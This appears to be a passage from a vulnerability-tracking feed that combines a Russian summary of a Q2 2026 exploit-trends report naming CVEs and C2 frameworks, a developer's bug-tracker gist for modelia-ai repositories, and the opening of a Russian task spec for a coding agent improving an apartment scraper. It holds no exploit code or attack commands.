\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c Nightmare Eclipse (\u0438\u043b\u0438 Chaotic Eclipse) \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0441\u043f\u0438\u0441\u043e\u043a \u043d\u043e\u0432\u044b\u0445 \u00ab\u0438\u043c\u0435\u043d\u043d\u044b\u0445\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows (BlueHammer, RedSun, YellowKey, GreenPlasma, RougePlanet, UnDefend).\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0441\u043b\u0443\u0447\u0430\u0438 \u043f\u043e\u043a\u0430 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b, \u0432 \u041b\u041a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u043f\u0435\u0440\u0435\u0440\u0430\u0441\u0442\u0443\u0442 \u0432 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u0435\u043d\u0434. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0430\u043d\u043d\u044f\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0434 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438, \u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0422\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u00ab\u0437\u0430\u0441\u043b\u0443\u0436\u0435\u043d\u043d\u044b\u0435\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041f\u041e \u0434\u043b\u044f Windows, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u044d\u0442\u043e CVE-2018-0802 \u0438 CVE-2017-11882 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor; CVE-2017-0199 \u0432 Microsoft Office \u0438 WordPad; CVE-2023-38831 \u0438 CVE-2025-6218 (ZDI-CAN-27198) \u0432 WinRAR; CVE-2025-8088 \u043f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f CVE-2025-6218.\n\n\u041f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u0412 Linux \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0442\u043e\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u043d\u0430\u044f \u043f\u043e\u043b\u043e\u0441\u0430. \u0422\u0430\u043a, \u0431\u044b\u043b \u0440\u0430\u0441\u043a\u0440\u044b\u0442 \u043a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Dirty Frag, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430, \u0442\u0430\u043a \u0438\u043b\u0438 \u0438\u043d\u0430\u0447\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c \u043a \u043a\u044d\u0448\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435: CVE-2026-31431 (Copy Fail), CVE-2026-43284, CVE-2026-43500 (Dirty Frag), CVE-2026-46300 (Fragnesia), CVE-2026-31635 (DirtyDecrypt), CVE-2026-43494 (PinTheft) \u0438 CVE-2026-46331 (pedit COW).\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0441\u0440\u0430\u0437\u0443 \u0441\u0442\u0430\u043b\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0442\u0430\u043a\u0436\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2022-0847 (Dirty Pipe), CVE-2019-13272, CVE-2021-22555, CVE-2023-32233.\n\n\u0412 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e \u0442\u0438\u043f\u0430\u043c \u041f\u041e \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0438 \u0432 \u0432\u044b\u0431\u043e\u0440\u043a\u0443. \u0422\u0430\u043a, \u043c\u044b \u0441\u043d\u043e\u0432\u0430 \u0432\u0438\u0434\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0442\u0430\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u043a\u0430\u043a SharePoint.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430\u043c\u0435\u0442\u0438\u043b\u0441\u044f \u0442\u0440\u0435\u043d\u0434 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0440\u0430\u0437\u0443 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0438\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u043a\u0430\u043a \u0438 \u0440\u0430\u043d\u044c\u0448\u0435, \u0432 \u041b\u041a \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438 \u043c\u043d\u043e\u0433\u043e 0-day. \u0421\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u043e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Langflow - \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u043f\u0435\u0440\u0432\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u043a\u043e\u0433\u0434\u0430 APT \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0418\u0418, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0435\u0439\u0447\u0430\u0441 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\n\n\u0421\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 C2-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430\u043c\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f Sliver, Havoc, Adaptix\u04212 \u0438 Metasploit.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-08-27T00:00:08.626234Z"}, {"uuid": "1af399f1-ea14-4fa5-822a-57dc2678793a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/harsh-modelia/4325e84b4d8d9e2d8bbc2b79579978fd", "content": "# Bug Tracker \u2014 Harsh (`harsh-modelia`) \u00b7 2026-03-24 \u2192 2026-07-24\n\nAll bug-type issues raised and/or fixed across `modelia-ai/*` in the last 4 months.\n(Features, releases, docs and research tasks excluded.)\n\n## Summary\n\n| Metric | Count |\n|---|---|\n| Bugs raised by me | 36 |\n| Bugs reported by teammates, fixed by me | 16 |\n| **Total bug issues touched** | **52** |\n| Security bugs | 3 |\n| Still open | 1 (mvp#5111) |\n\nRepos: `shopify-app` (16) \u00b7 `website` (14) \u00b7 `customer-chat-agent` (13) \u00b7 `mvp` (9)\n\n---\n\n## \ud83d\udd10 Security (raised + fixed by me)\n\n| Issue | Opened | Closed | Title |\n|---|---|---|---|\n| website#2579 / mvp#4589 | 2026-05-07 | 2026-05-14 | Client-supplied `creditsAmount` in `/api/create-or-update-plan` can be tampered to grant arbitrary credits |\n| mvp#4560 | 2026-05-04 | 2026-05-05 | Patch Linux kernel CVE-2026-31431 on Shopify app VPS |\n| shopify-app#181 | 2026-05-19 | 2026-05-19 | platform.modelia.ai indexed by Google \u2014 blocked crawlers via robots.txt |\n\n---\n\n## Bugs I raised (and fixed)\n\n### shopify-app\n| Issue | Opened | Closed | Title |\n|---|---|---|---|\n| #234 | 2026-07-17 | 2026-07-17 | `scopes_update` webhook 500s under USE_UNIFIED_SESSIONS (raw prisma session write) |\n| #232 | 2026-07-17 | 2026-07-17 | Annual-downgrade deferral broken in unified mode (SQLite plan reads + dead StorePlan writes) |\n| #230 | 2026-07-17 | 2026-07-17 | Dockerfile not ACA-ready (PM2 daemonizes, broken fresh-DB boot, dev deps in prod image) |\n| #226 | 2026-07-07 | 2026-07-07 | Upload box: drag & drop doesn't work; dropped files should confirm via product modal |\n| #224 \ud83d\udc1b | 2026-07-03 | 2026-07-13 | Consistent-character image mode broken: face-preprocess bridge sends camelCase `imageBase64`, images-server expects `image_base64` |\n| #220 | 2026-07-02 | 2026-07-02 | External links (modelia.ai) open inside the embedded app instead of a new tab |\n| #218 \ud83d\udc1b | 2026-06-30 | 2026-07-13 | Consistent character ignored in model tools \u2014 engine returns a random model |\n| #206 | 2026-06-24 | 2026-06-24 | Upload modal won't reopen after first use |\n| #213 | 2026-06-24 | 2026-07-13 | Library cards are uneven (videos + long titles) |\n| #201 | 2026-06-23 | 2026-07-13 | Library/Home: clicking a project opens /app instead of the tool |\n| #199 \ud83d\udc1b | 2026-06-17 | 2026-06-17 | Enhance-prompt broken in unified mode (400 validation + missing sync) |\n| #195 \ud83d\udc1b | 2026-06-07 | 2026-06-18 | Bridge skips one-time (Project pack) purchase updates \u2014 credits not applied |\n| #177 | 2026-05-07 | 2026-05-07 | Missing upload icon and cursor affordance in UploadArea |\n\n### website\n| Issue | Opened | Closed | Title |\n|---|---|---|---|\n| #3957 | 2026-07-16 | 2026-07-17 | Shopify sessions: `/sessions/store` rejects token invalidation (401 recovery breaks) |\n| #3821 \ud83d\udc1b | 2026-07-08 | 2026-07-13 | Shopify merchants never receive monthly subscription renewal credits |\n| #3798 | 2026-07-08 | 2026-07-13 | Multi-image tools double-generate and double-charge after refresh/project-reopen (duplicate input in `imageUrls`) |\n| #3726 \ud83d\udc1b | 2026-07-02 | 2026-07-03 | Project pack purchase from pricing page fails: \"No transition rule for starter -> project\" |\n| #3405 | 2026-06-12 | 2026-07-13 | MonumentExtended font 404s after #3395 \u2014 headings render in overlapping fallback |\n| #3300 | 2026-06-09 | 2026-06-09 | Multi-image inputs lost after reload/library-open (only first input persisted) |\n| #3286 \ud83d\udc1b | 2026-06-08 | 2026-06-18 | Auth page headings render ~1.9x oversized on SPA routes (missing MonumentExtended @font-face) |\n| #2709 | 2026-05-13 | 2026-07-08 | Subscription page shows bogus \"Next bill on\" date for project plans |\n\n### mvp\n| Issue | Opened | Closed | Title |\n|---|---|---|---|\n| #5330 | 2026-07-21 | 2026-07-21 | Bump metadata `text_model` off deprecated gemini-2.5-flash |\n| #5111 | 2026-06-24 | **open** | Consistent characters created in Shopify app don't appear (read from wrong table) |\n| #4567 | 2026-05-05 | 2026-05-27 | AI Shorts Generator: 403 on Azure blob URLs when reopening projects from library |\n| #4478 | 2026-04-18 | 2026-06-26 | Modelia logo broken in chatbot |\n| #4465 | 2026-04-16 | 2026-04-21 | VTON not supporting model photo from Model Generator in Modelia workflows |\n\n### customer-chat-agent\n| Issue | Opened | Closed | Title |\n|---|---|---|---|\n| #74 | 2026-07-21 | 2026-07-21 | Reports: count archived conversations in \"conversations started\" |\n| #73 | 2026-07-21 | 2026-07-21 | Resolver: match agents by forwarder address (fixes dropped web-form leads) |\n| #71 | 2026-07-21 | 2026-07-21 | Contact forms: extract submitter's email from the HTML part |\n| #70 | 2026-07-21 | 2026-07-21 | Anti-loop: exempt our own forwarder groups (contact@/support@) from bulk/list checks |\n| #69 | 2026-07-21 | 2026-07-21 | Deploy-safe boot migrations: per-statement lock_timeout + retry (**prod outage fix**) |\n| #66 | 2026-07-21 | 2026-07-21 | Live Chat: send AI replies as one humanized message (no bubbles) |\n| #65 | 2026-07-21 | 2026-07-21 | Sophie: behavior + knowledge fixes from Jose's audit |\n| #47 | 2026-07-14 | 2026-07-14 | Emma email agent: restore mailbox access, stop losing forwarded mail, spam filter + chat-style escalation |\n\n---\n\n## Bugs reported by teammates, fixed by me\n\n| Issue | Reporter | Opened | Closed | Title |\n|---|---|---|---|---|\n| website#3526 | vaishak-lgtm | 2026-06-23 | 2026-07-24 | Shopify-bridge install bypasses the one-trial-per-email ledger (re-install farms starter credits) |\n| mvp#5213 | josebrujo | 2026-07-07 | 2026-07-22 | Logged-in user's email not showing in live chat (Chrome 148, macOS) |\n| mvp#5212 | josebrujo | 2026-07-07 | 2026-07-13 | AI Video: chatbot gives incorrect info about backgrounds |\n| mvp#5211 | josebrujo | 2026-07-06 | 2026-07-13 | Download image button didn't work successfully |\n| mvp#5209 | josebrujo | 2026-07-06 | 2026-07-13 | Chatbot gave incorrect video pricing |\n| website#3866 | gurpreet-modelia | 2026-07-09 | 2026-07-13 | Empty consistent-character husk rows count toward the plan cap and are invisible in the UI |\n| website#3669 | ivan-modelia | 2026-06-30 | 2026-07-01 | Live Chat: AI mixes messages from current and previous conversations |\n| website#3634 | josebrujo | 2026-06-29 | 2026-07-01 | Text+image in same message: text not showing up |\n| customer-chat-agent#11 | ivan-modelia | 2026-06-29 | 2026-07-01 | Live Chat: image preview opens a blank page |\n| customer-chat-agent#12 | ivan-modelia | 2026-06-29 | 2026-07-01 | Live Chat: in-chat images have no download button |\n| customer-chat-agent#13 | ivan-modelia | 2026-06-29 | 2026-07-01 | Live Chat: links sent in chat are not clickable (plain text) |\n| customer-chat-agent#14 | ivan-modelia | 2026-06-29 | 2026-07-01 | Live Chat: operator messages cannot be deleted right after being sent |\n| website#2336 | ivan-modelia | 2026-04-20 | 2026-05-27 | Invalid querySelector `#` causing mass JavaScript errors (60.81% of all JS errors) |\n| mvp#4477 | ivan-modelia | 2026-04-18 | 2026-04-20 | Outfit generator not working properly (user report) |\n| website#2008 | sidhanth-modelia | 2026-03-24 | 2026-04-06 | Workflows: AI Fashion Lab node doesn't support Model Selector connection |\n| mvp#4350 | josebrujo | 2026-04-01 | 2026-04-03 | Modelia Workflows not working properly |\n\n---\n\n*Generated 2026-07-24 from GitHub search across `modelia-ai/*` (issues authored by / assigned to `harsh-modelia`, window 2026-03-24 \u2192 2026-07-24). \ud83d\udc1b = carried the `bug` label; unlabeled items classified by title/content.*\n", "creation_timestamp": "2026-07-24T09:11:11.192790Z"}, {"uuid": "4a9eeb11-1342-45a3-ace2-3a081daed3eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "PYSEC-2026-311", "type": "seen", "source": "https://gist.github.com/sw1pp3r/00f32e3393b6c6123cc7aeaff3ed9f18", "content": "# Apartment Hunter: \u0422\u0417 \u043d\u0430 HTTP-first scraper, hardening \u0438 \u0431\u044b\u0441\u0442\u0440\u044b\u0439 \u043f\u0430\u0439\u043f\u043b\u0430\u0439\u043d Krisha.kz\n\n> Paste-ready \u0437\u0430\u0434\u0430\u0447\u0430 \u0434\u043b\u044f coding-\u0430\u0433\u0435\u043d\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c\n> [`ai-engineers-guild/apartment-hunter`](https://github.com/ai-engineers-guild/apartment-hunter).\n\n## \u0417\u0430\u0434\u0430\u0447\u0430 \u0434\u043b\u044f coding-\u0430\u0433\u0435\u043d\u0442\u0430\n\n\u0414\u043e\u0440\u0430\u0431\u043e\u0442\u0430\u0439 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 `ai-engineers-guild/apartment-hunter` \u043f\u043e \u044d\u0442\u043e\u0439 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\u0420\u0430\u0431\u043e\u0442\u0430\u0439 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c\u0438 \u043a\u043e\u043c\u043c\u0438\u0442\u0430\u043c\u0438, \u043d\u0435 \u043b\u043e\u043c\u0430\u0439 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 API \u0438\n\u0441\u043e\u0445\u0440\u0430\u043d\u0438 browser-based \u0441\u0431\u043e\u0440 \u043a\u0430\u043a fallback. \u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043f\u0443\u0442\u044c \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u0442\u0430\u0442\u044c\n`HTTP first \u2192 structural validation \u2192 browser fallback`, \u0430 \u0434\u043e\u0440\u043e\u0433\u043e\u0439\nLLM/embedding-\u0430\u043d\u0430\u043b\u0438\u0437 \u0434\u043e\u043b\u0436\u0435\u043d \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u0434\u0435\u0448\u0451\u0432\u044b\u0445 \u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432.\n\n\u041f\u0435\u0440\u0435\u0434 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\u043c\u0438:\n\n1. \u0417\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0439 \u0442\u0435\u043a\u0443\u0449\u0438\u0435 \u0442\u0435\u0441\u0442\u044b, \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0438 benchmark baseline.\n2. \u041f\u0440\u043e\u0432\u0435\u0440\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 `main`; \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u043d\u0438\u0436\u0435 \u0441\u0434\u0435\u043b\u0430\u043d\u044b \u043d\u0430 commit\n   `8e2cc9fe13c2d09f3e14423cb83ddd89d634010b`.\n3. \u041d\u0435 \u043a\u043e\u043f\u0438\u0440\u0443\u0439 \u0432 fixtures \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u044b, \u0438\u043c\u0435\u043d\u0430 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u0432, \u0442\u043e\u0447\u043d\u044b\u0435 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b \u0438 \u0434\u0440\u0443\u0433\u0438\u0435\n   \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435. \u0421\u0430\u043d\u0438\u0442\u0438\u0437\u0438\u0440\u0443\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 HTML-\u0441\u043d\u0438\u043c\u043a\u0438.\n4. \u041d\u0435 \u043e\u0431\u0445\u043e\u0434\u0438 CAPTCHA, \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044e, rate limits \u0438 \u044f\u0432\u043d\u043e \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u0435\u0442\u044b \u0441\u0430\u0439\u0442\u0430.\n   Browser fallback \u043d\u0443\u0436\u0435\u043d \u0434\u043b\u044f \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u043e\u043c, \u0430 \u043d\u0435 \u0434\u043b\u044f\n   \u0430\u0433\u0440\u0435\u0441\u0441\u0438\u0432\u043d\u043e\u0433\u043e \u043e\u0431\u0445\u043e\u0434\u0430 \u0437\u0430\u0449\u0438\u0442\u044b.\n\n---\n\n## \u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0443\u0436\u043d\u0430 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u043a\u0430\n\n\u0422\u0435\u043a\u0443\u0449\u0438\u0439 transport \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 CloakBrowser/Playwright \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e URL, \u0436\u0434\u0451\u0442\n\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b \u043f\u043e\u0441\u043b\u0435 \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u0438, \u0430 \u0437\u0430\u0442\u0435\u043c \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0435\u0449\u0451 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u0443\u044e \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0443\n\u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e 1\u20133 \u0441\u0435\u043a\u0443\u043d\u0434\u044b. \u041f\u0440\u0438 \u0441\u0431\u043e\u0440\u0435 \u0434\u0435\u0442\u0430\u043b\u0435\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f semaphore \u043d\u0430 10 \u0437\u0430\u0434\u0430\u0447, \u0447\u0442\u043e\n\u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u0435 \u0432\u0441\u043f\u043b\u0435\u0441\u043a\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u043d\u043e \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043f\u043b\u0430\u0442\u0438\u0442 browser overhead \u043d\u0430\n\u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c Krisha.kz \u0443\u0436\u0435 \u043e\u0442\u0434\u0430\u0451\u0442 \u043d\u0443\u0436\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 